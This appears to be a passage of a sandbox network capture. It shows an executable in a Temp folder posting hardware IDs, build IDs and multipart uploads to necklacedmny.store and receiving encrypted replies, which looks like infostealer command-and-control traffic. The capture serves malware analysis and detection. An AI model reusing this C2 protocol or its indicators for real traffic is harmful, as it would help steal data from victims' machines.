2024-11-01 02:46:19 UTC	1023	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 02:46:19 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=5jvcvtoi5ke4pmahqul0rrbroa; expires=Mon, 24-Feb-2025 20:32:58 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=kKV3zXy9O%2Fn%2BwU5%2BWdW%2F8Ild7b2i6IGz8hviEFbYu9yCxiSrGkggDceks5zdGaPn%2FfSvdoj1rs8OKIX7%2FjyLGQaLp33pAazGBcBeXGlQY92eVWpu1j%2BJ2sCeUD17Dz%2BBEwbh4oQ%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8db88dc18d784672-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2071&sent=6&recv=7&lost=0&retrans=0&sent_bytes=2845&recv_bytes=909&delivery_rate=1352007&cwnd=249&unsent_bytes=0&cid=072f042f4c43a87a&ts=552&x=0"
2024-11-01 02:46:19 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-11-01 02:46:19 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.6	58528	188.114.97.3	443	5884	C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-01 02:46:20 UTC	266	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 52 Host: necklacedmny.store
2024-11-01 02:46:20 UTC	52	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e 64 61 72 79 79 26 6a 3d Data Ascii: act=recive_message&ver=4.0&lid=4SD0y4--legendaryy&j=
2024-11-01 02:46:20 UTC	1013	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 02:46:20 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=p1ev1vjm1s0kkf8m4sqoeip1c4; expires=Mon, 24-Feb-2025 20:32:59 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=IKrFSVUpk61Z1%2B3vXo1KqAWsCgWDOuFoAZ4bwIir39pSCQoLSyhy5A63oj8ADR64ZlSABG4EYOHj9Z%2F0T4c0zVa4FKcihq2t5263ObFrFcqETceYNhH9sG5V%2FiJQY2o5Z1bIcYE%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8db88dc8ee40e786-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1502&sent=6&recv=7&lost=0&retrans=0&sent_bytes=2845&recv_bytes=954&delivery_rate=2029432&cwnd=239&unsent_bytes=0&cid=e622fe96012b2d73&ts=519&x=0"
2024-11-01 02:46:20 UTC	356	IN	Data Raw: 31 64 38 36 0d 0a 30 53 49 35 6e 73 47 4d 64 55 64 34 47 54 6a 52 4e 79 65 43 58 73 53 31 5a 7a 77 74 56 78 76 39 45 68 78 45 32 42 58 4c 63 44 32 71 41 45 2b 38 2b 37 68 5a 5a 51 74 38 47 75 74 44 56 66 63 37 36 4a 63 47 57 41 39 74 66 5a 78 2b 62 79 48 30 4e 37 30 64 48 2b 74 45 57 50 4b 79 36 56 6c 6c 48 57 45 61 36 32 78 63 6f 44 75 71 6c 31 30 65 53 44 31 35 6e 48 35 2b 4a 62 4e 36 75 78 78 65 75 55 35 65 39 71 54 76 45 53 59 55 64 46 32 30 55 6b 62 6f 4d 4b 33 59 44 31 45 50 65 7a 6d 59 61 44 35 2b 2b 6c 69 75 42 46 79 63 51 30 72 31 34 2f 46 5a 50 46 70 38 56 76 4d 4e 42 65 4d 37 70 74 6b 42 57 45 59 2f 63 35 56 32 66 79 43 79 5a 61 49 57 56 62 6c 41 58 66 65 75 35 67 55 72 48 6e 4e 57 73 6c 68 47 6f 48 4c 6d 30 42 30 65 46 33 55 71 72 58 4e 76 4e Data Ascii: 1d860SI5nsGMdUd4GTjRNyeCXsS1ZzwtVxv9EhxE2BXLcD2qAE+8+7hZZQt8GutDVfc76JcGWA9tfZx+byH0N70dH+tEWPKy6VllHWEa62xcoDuql10eSD15nH5+JbN6uxxeuU5e9qTvESYUdF20UkboMK3YD1EPezmYaD5++liuBFycQ0r14/FZPFp8VvMNBeM7ptkBWEY/c5V2fyCyZaIWVblAXfeu5gUrHnNWslhGoHLm0B0eF3UqrXNvN
2024-11-01 02:46:20 UTC	1369	IN	Data Raw: 63 33 45 6e 42 52 74 6b 64 4f 36 54 47 72 31 77 68 55 51 44 5a 35 6d 48 70 30 4b 62 42 7a 70 42 39 5a 73 30 41 62 73 75 50 70 44 32 56 43 4f 33 6d 32 52 55 4c 73 4b 75 54 74 52 55 45 42 4c 44 6d 59 66 44 35 2b 2b 6e 2b 73 45 56 79 34 54 31 6a 30 71 50 77 58 4e 78 78 32 58 36 46 54 51 4f 34 32 70 63 55 50 55 45 6b 32 63 4a 52 35 65 79 47 2b 4e 2b 64 53 57 4b 73 41 41 37 79 43 34 78 77 70 45 47 78 61 38 30 6f 4c 2b 58 79 68 32 30 55 47 44 7a 46 34 6d 33 46 36 4b 4c 52 7a 70 52 52 52 76 6b 39 64 39 71 50 70 48 53 30 53 65 6c 65 34 57 6b 58 6c 4d 61 4c 52 43 56 39 4b 64 54 66 66 64 32 5a 6d 34 6a 65 48 46 56 79 68 41 6d 37 2f 72 65 41 51 4d 31 70 6b 46 4b 6f 56 51 75 78 38 2f 70 63 4c 57 30 41 6e 65 49 31 31 63 44 53 32 63 71 38 66 58 4c 31 41 58 76 75 75 34 Data Ascii: c3EnBRtkdO6TGr1whUQDZ5mHp0KbBzpB9Zs0AbsuPpD2VCO3m2RULsKuTtRUEBLDmYfD5++n+sEVy4T1j0qPwXNxx2X6FTQO42pcUPUEk2cJR5eyG+N+dSWKsAA7yC4xwpEGxa80oL+Xyh20UGDzF4m3F6KLRzpRRRvk9d9qPpHS0Sele4WkXlMaLRCV9KdTffd2Zm4jeHFVyhAm7/reAQM1pkFKoVQux8/pcLW0AneI11cDS2cq8fXL1AXvuu4
2024-11-01 02:46:20 UTC	1369	IN	Data Raw: 6b 46 4b 6f 56 51 75 78 38 2f 70 63 4a 56 30 38 2b 63 35 74 77 65 53 75 2f 64 4b 34 52 55 72 52 4b 56 66 75 6e 34 68 34 6f 48 48 74 64 74 31 42 58 35 54 57 71 32 30 55 51 44 7a 4a 68 33 79 67 2b 43 62 31 68 71 6a 31 63 6f 6b 6b 62 34 2b 33 33 56 79 49 57 4f 77 4c 7a 55 6b 44 6f 4e 36 44 66 42 55 78 4b 4f 33 4b 65 65 6e 67 6e 74 33 75 76 45 6c 36 7a 52 6c 66 38 70 4f 6b 46 4e 78 39 39 53 4c 6b 56 43 36 41 37 76 70 64 64 48 6e 6b 6c 62 6f 35 6d 50 42 4f 35 65 61 63 56 53 66 4e 66 46 65 58 6a 36 52 74 6c 51 6a 74 52 73 31 6c 43 36 44 71 69 33 77 70 52 52 69 64 34 6b 33 35 73 49 62 70 2b 70 78 31 54 75 6b 31 63 38 61 6a 6b 47 69 45 64 65 68 72 39 46 55 4c 34 66 50 36 58 4d 30 35 43 4f 56 65 55 66 48 64 6d 70 54 6d 77 55 6c 69 2f 41 41 4f 38 70 2b 49 66 4c 78 Data Ascii: kFKoVQux8/pcJV08+c5tweSu/dK4RUrRKVfun4h4oHHtdt1BX5TWq20UQDzJh3yg+Cb1hqj1cokkb4+33VyIWOwLzUkDoN6DfBUxKO3Keengnt3uvEl6zRlf8pOkFNx99SLkVC6A7vpddHnklbo5mPBO5eacVSfNfFeXj6RtlQjtRs1lC6Dqi3wpRRid4k35sIbp+px1Tuk1c8ajkGiEdehr9FUL4fP6XM05COVeUfHdmpTmwUli/AAO8p+IfLx
2024-11-01 02:46:20 UTC	1369	IN	Data Raw: 55 55 4c 6b 4f 71 6d 58 53 78 35 49 4c 54 6e 48 4d 46 45 42 6a 7a 57 49 4b 42 2b 73 44 6b 4b 38 70 4f 4a 58 66 56 70 33 57 62 39 64 53 75 59 31 71 74 30 4d 56 55 4d 2b 66 5a 4e 35 65 79 43 37 63 71 77 54 57 37 39 4b 58 66 2b 67 34 52 67 71 45 6a 73 55 38 31 4a 64 6f 47 54 6d 38 68 4a 56 51 54 4d 35 67 44 35 6e 5a 72 31 37 36 55 6f 66 76 30 6c 64 2b 71 62 69 46 69 4d 53 66 6c 4b 33 56 45 50 6d 50 36 6e 54 41 46 39 41 4d 58 57 52 65 6e 38 6e 74 6e 79 6d 47 56 72 7a 44 68 76 37 75 36 35 50 5a 53 74 34 54 4b 52 46 53 61 41 6a 36 4d 35 46 57 55 4e 31 49 64 39 78 62 43 79 77 65 61 77 64 57 72 42 50 58 50 47 6c 34 68 30 73 45 6e 31 56 75 6b 64 47 37 44 4b 68 32 51 6c 51 51 6a 39 36 6b 6a 41 77 5a 72 31 76 36 55 6f 66 6e 30 64 57 30 71 6a 69 45 47 55 46 4e 55 50 Data Ascii: UULkOqmXSx5ILTnHMFEBjzWIKB+sDkK8pOJXfVp3Wb9dSuY1qt0MVUM+fZN5eyC7cqwTW79KXf+g4RgqEjsU81JdoGTm8hJVQTM5gD5nZr176Uofv0ld+qbiFiMSflK3VEPmP6nTAF9AMXWRen8ntnymGVrzDhv7u65PZSt4TKRFSaAj6M5FWUN1Id9xbCyweawdWrBPXPGl4h0sEn1VukdG7DKh2QlQQj96kjAwZr1v6Uofn0dW0qjiEGUFNUP
2024-11-01 02:46:20 UTC	1369	IN	Data Raw: 79 54 6d 6a 30 56 6f 53 43 56 70 6e 44 4a 50 4d 4c 6c 68 6f 68 39 54 38 31 38 56 35 65 50 70 47 32 56 43 4f 31 79 38 58 45 62 76 50 61 2f 62 43 46 74 47 4d 48 69 5a 64 48 51 73 75 6e 47 76 45 31 71 35 51 31 72 32 71 75 6b 66 49 68 6c 70 47 76 30 56 51 76 68 38 2f 70 63 73 57 56 30 37 61 64 39 76 4d 44 2f 36 63 4b 56 53 42 2f 4e 45 55 66 4f 6e 36 52 73 6a 48 33 31 58 73 6c 70 45 34 44 4f 69 33 41 78 59 54 6a 68 38 6b 6e 52 73 4c 4c 46 34 70 52 74 54 76 67 41 56 76 4b 54 32 56 33 31 61 53 6c 65 39 57 30 4c 32 66 4c 6d 5a 48 42 35 49 4f 54 6e 48 4d 48 38 71 74 58 53 6d 45 56 79 79 53 6b 6e 75 72 2b 63 66 49 42 5a 77 56 4c 56 48 51 2b 38 31 70 64 51 4d 57 55 63 35 63 35 78 33 50 6d 6a 36 63 4c 46 53 42 2f 4e 6a 54 4f 79 75 72 67 68 72 41 7a 74 64 76 78 55 64 Data Ascii: yTmj0VoSCVpnDJPMLlhoh9T818V5ePpG2VCO1y8XEbvPa/bCFtGMHiZdHQsunGvE1q5Q1r2qukfIhlpGv0VQvh8/pcsWV07ad9vMD/6cKVSB/NEUfOn6RsjH31XslpE4DOi3AxYTjh8knRsLLF4pRtTvgAVvKT2V31aSle9W0L2fLmZHB5IOTnHMH8qtXSmEVyySknur+cfIBZwVLVHQ+81pdQMWUc5c5x3Pmj6cLFSB/NjTOyurghrAztdvxUd
2024-11-01 02:46:20 UTC	1369	IN	Data Raw: 49 44 55 55 41 38 63 4a 74 34 66 53 61 2b 63 36 34 58 58 4c 39 4c 58 50 2b 73 36 68 34 72 45 33 51 61 2f 52 56 43 2b 48 7a 2b 6c 79 52 46 54 44 6c 30 33 32 38 77 50 2f 70 77 70 56 49 48 38 30 78 56 2b 61 50 6b 45 53 45 66 66 56 43 32 56 55 37 6a 4d 36 4c 52 41 56 46 50 50 6e 43 65 64 6e 73 73 73 58 47 6b 45 56 6d 31 41 42 57 38 70 50 5a 58 66 56 70 62 51 62 35 5a 51 71 41 6a 36 4d 35 46 57 55 4e 31 49 64 39 37 63 69 4b 39 64 36 51 52 56 37 5a 45 55 66 6d 6a 35 67 55 74 47 6e 78 49 6f 56 56 4d 35 54 43 6c 31 77 46 59 52 6a 4e 36 6d 7a 41 77 5a 72 31 76 36 55 6f 66 6e 6b 78 63 31 61 54 31 56 7a 70 55 59 68 71 30 57 51 57 34 66 4b 66 63 44 31 46 43 4e 6e 2b 63 65 33 73 73 75 33 43 68 48 30 32 77 54 31 54 34 6f 2b 45 52 49 78 74 30 58 4c 52 63 52 4f 67 37 35 Data Ascii: IDUUA8cJt4fSa+c64XXL9LXP+s6h4rE3Qa/RVC+Hz+lyRFTDl0328wP/pwpVIH80xV+aPkESEffVC2VU7jM6LRAVFPPnCednsssXGkEVm1ABW8pPZXfVpbQb5ZQqAj6M5FWUN1Id97ciK9d6QRV7ZEUfmj5gUtGnxIoVVM5TCl1wFYRjN6mzAwZr1v6Uofnkxc1aT1VzpUYhq0WQW4fKfcD1FCNn+ce3ssu3ChH02wT1T4o+ERIxt0XLRcROg75
2024-11-01 02:46:20 UTC	365	IN	Data Raw: 6f 49 33 4f 59 59 48 6b 78 74 54 66 6e 55 6c 44 7a 47 47 4b 38 71 75 6b 4d 4e 41 78 32 53 72 51 56 65 71 35 38 76 70 64 64 48 6e 6f 32 64 35 46 33 61 44 66 33 55 4c 38 59 57 4b 4e 48 54 50 50 6a 6f 46 63 6a 57 69 4d 4a 2f 52 56 42 38 58 7a 2b 68 31 63 46 47 6d 59 75 7a 79 4a 68 61 4b 4d 33 76 31 49 48 34 51 34 62 37 75 4f 32 56 32 49 5a 61 55 69 31 56 6c 50 6a 65 35 6a 70 49 6b 52 43 4d 32 36 4f 54 6b 41 68 6f 48 71 76 42 55 37 2f 56 56 6a 79 72 65 6b 42 5a 56 51 37 56 66 4d 4e 66 4b 42 30 35 75 68 4c 48 6c 64 31 49 64 39 46 66 53 69 30 63 4c 38 44 45 70 52 61 56 76 71 30 2f 31 64 72 57 6e 30 61 36 77 55 4c 6f 44 69 33 6c 31 30 4f 48 57 34 73 7a 43 63 75 64 4b 55 35 73 46 4a 4a 38 78 67 4a 73 75 50 38 56 33 31 61 50 46 6d 68 52 30 50 6a 4b 71 57 51 4f 32 Data Ascii: oI3OYYHkxtTfnUlDzGGK8qukMNAx2SrQVeq58vpddHno2d5F3aDf3UL8YWKNHTPPjoFcjWiMJ/RVB8Xz+h1cFGmYuzyJhaKM3v1IH4Q4b7uO2V2IZaUi1VlPje5jpIkRCM26OTkAhoHqvBU7/VVjyrekBZVQ7VfMNfKB05uhLHld1Id9FfSi0cL8DEpRaVvq0/1drWn0a6wULoDi3l10OHW4szCcudKU5sFJJ8xgJsuP8V31aPFmhR0PjKqWQO2
2024-11-01 02:46:20 UTC	1369	IN	Data Raw: 32 36 65 36 0d 0a 75 75 55 43 59 49 61 56 79 77 51 30 61 6e 41 70 6a 55 45 31 4e 41 50 6e 69 68 54 6c 41 72 75 33 53 6e 55 47 36 6c 54 55 76 2f 70 75 6b 70 47 78 52 38 54 72 52 62 51 2b 42 38 36 4a 63 4b 48 68 63 4d 4f 64 63 77 51 57 6a 36 62 2b 6c 4b 48 34 5a 44 56 66 4b 6b 2b 41 5a 6f 4f 57 31 58 76 46 35 45 6f 48 4c 6d 30 55 55 47 48 33 73 35 6d 32 45 2b 66 75 6f 6c 38 6b 63 4d 35 42 41 4a 34 2b 33 33 56 7a 4e 61 49 77 6a 39 46 56 65 67 5a 4f 61 51 43 31 4e 4f 4e 6e 65 63 59 6d 77 67 75 57 47 71 56 57 47 4e 59 56 62 33 72 2b 4d 59 4c 69 52 46 65 37 35 65 53 65 30 7a 72 65 6b 37 53 30 77 37 64 35 68 6d 62 32 62 30 4e 36 5a 53 42 34 6f 41 45 37 79 63 6f 46 63 39 57 69 4d 61 68 6c 5a 4c 37 6a 75 77 78 6b 68 2f 51 6a 35 31 6b 6e 39 31 5a 76 51 33 72 31 49 Data Ascii: 26e6uuUCYIaVywQ0anApjUE1NAPnihTlAru3SnUG6lTUv/pukpGxR8TrRbQ+B86JcKHhcMOdcwQWj6b+lKH4ZDVfKk+AZoOW1XvF5EoHLm0UUGH3s5m2E+fuol8kcM5BAJ4+33VzNaIwj9FVegZOaQC1NONnecYmwguWGqVWGNYVb3r+MYLiRFe75eSe0zrek7S0w7d5hmb2b0N6ZSB4oAE7ycoFc9WiMahlZL7juwxkh/Qj51kn91ZvQ3r1I
2024-11-01 02:46:20 UTC	1369	IN	Data Raw: 4d 4b 64 79 77 41 6d 43 6e 31 5a 6a 57 74 75 37 44 71 68 7a 51 4a 59 61 52 55 35 30 54 42 78 5a 75 4a 4f 36 56 6f 66 6a 41 34 62 35 4f 4f 32 56 78 41 5a 64 56 53 30 51 31 53 74 47 62 48 55 46 56 68 4d 64 54 66 66 64 6a 35 2b 36 6a 6e 70 46 6b 37 7a 47 41 75 75 2b 4c 74 45 63 6b 6f 70 52 66 31 4d 42 66 5a 38 2f 6f 56 4c 48 6c 31 31 49 64 38 33 66 54 53 6f 63 61 6f 45 58 50 52 2b 5a 64 71 67 2f 78 30 45 46 32 74 64 6a 57 74 51 34 7a 4b 6f 30 42 4e 50 44 33 73 35 6b 44 41 6d 48 2f 6f 2f 35 52 52 63 70 51 42 6b 73 75 50 32 56 33 31 61 54 6c 6d 39 57 30 4c 32 4c 65 76 78 42 6b 39 46 46 48 53 50 64 7a 35 6f 2b 6e 48 70 53 67 7a 39 41 46 2f 74 34 37 5a 48 64 30 45 75 43 65 51 46 46 2f 39 79 76 35 63 54 48 68 64 6e 4e 39 39 69 50 6e 37 36 4d 4b 6f 41 54 62 56 44 Data Ascii: MKdywAmCn1ZjWtu7DqhzQJYaRU50TBxZuJO6VofjA4b5OO2VxAZdVS0Q1StGbHUFVhMdTffdj5+6jnpFk7zGAuu+LtEckopRf1MBfZ8/oVLHl11Id83fTSocaoEXPR+Zdqg/x0EF2tdjWtQ4zKo0BNPD3s5kDAmH/o/5RRcpQBksuP2V31aTlm9W0L2LevxBk9FFHSPdz5o+nHpSgz9AF/t47ZHd0EuCeQFF/9yv5cTHhdnN99iPn76MKoATbVD

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.6	58529	188.114.97.3	443	5884	C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-01 02:46:21 UTC	284	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 12864 Host: necklacedmny.store
2024-11-01 02:46:21 UTC	12864	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 35 35 36 30 35 32 32 41 45 44 34 30 42 43 32 32 33 41 37 30 45 46 33 44 43 41 42 44 46 44 38 34 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"5560522AED40BC223A70EF3DCABDFD84--be85de5ipdocierre1Content-Disposition: form-data; name="pid"2--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-11-01 02:46:22 UTC	1024	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 02:46:22 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=sur4lhf0p0k6h4rliar6c6j734; expires=Mon, 24-Feb-2025 20:33:01 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=ESCWM90MQWZzlnqCEGi6KfYcJBJe2FH76BPkzhQoWaQkPLwjp0cgOkyY%2FEIENp3ymVhsmZMNdNZLmB%2F1Oxc7oTQwz%2BZ89y4FJebY%2BhQyoCNlztQJd7%2BvPCe%2BD0b8wV53lHnY%2FIQ%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8db88dd17ac94790-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1069&sent=8&recv=17&lost=0&retrans=0&sent_bytes=2845&recv_bytes=13806&delivery_rate=2592658&cwnd=238&unsent_bytes=0&cid=6003fd6ff9b280a3&ts=801&x=0"
2024-11-01 02:46:22 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 38 32 0d 0a Data Ascii: 11ok 173.254.250.82
2024-11-01 02:46:22 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.6	58530	188.114.97.3	443	5884	C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-01 02:46:23 UTC	284	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 15110 Host: necklacedmny.store
2024-11-01 02:46:23 UTC	15110	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 35 35 36 30 35 32 32 41 45 44 34 30 42 43 32 32 33 41 37 30 45 46 33 44 43 41 42 44 46 44 38 34 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"5560522AED40BC223A70EF3DCABDFD84--be85de5ipdocierre1Content-Disposition: form-data; name="pid"2--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-11-01 02:46:23 UTC	1018	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 02:46:23 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=k1miuq4jdqc7vcbp1b723pa9i4; expires=Mon, 24-Feb-2025 20:33:02 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=%2FQQtobc1mgzQ9jMY1SOqcAEGJ13GviZzOIx6YF7UgFIlUtqMXLt5Pt4ZXnJFfrci5FP%2FEcCyissQTdSbKWyoky1doQWQ6DG4lHzwd3pQKH2%2BLLV0L3OlYKY%2F4UCefAENNoVRQy4%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8db88ddb6dbe3ace-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1109&sent=9&recv=20&lost=0&retrans=0&sent_bytes=2845&recv_bytes=16052&delivery_rate=2567375&cwnd=227&unsent_bytes=0&cid=21465b83d10348cc&ts=522&x=0"
2024-11-01 02:46:23 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 38 32 0d 0a Data Ascii: 11ok 173.254.250.82
2024-11-01 02:46:23 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.6	58532	188.114.97.3	443	5884	C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-01 02:46:24 UTC	284	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 19968 Host: necklacedmny.store
2024-11-01 02:46:24 UTC	15331	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 35 35 36 30 35 32 32 41 45 44 34 30 42 43 32 32 33 41 37 30 45 46 33 44 43 41 42 44 46 44 38 34 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"5560522AED40BC223A70EF3DCABDFD84--be85de5ipdocierre1Content-Disposition: form-data; name="pid"3--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-11-01 02:46:24 UTC	4637	OUT	Data Raw: f0 03 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 80 1b 8d 0e 2b 03 3f 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c b8 d1 e8 b0 32 f0 c3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 80 1b 8b 0e 2b 03 3f 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c b8 d1 e8 b0 32 f0 c3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 80 1b 8d 0e 2b 03 3f 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c b8 b1 e8 ef fa 6f c5 82 3f 0c fe 4d 70 35 98 09 ee b9 f1 d3 1b 7f 70 Data Ascii: +?2+?2+?o?Mp5p
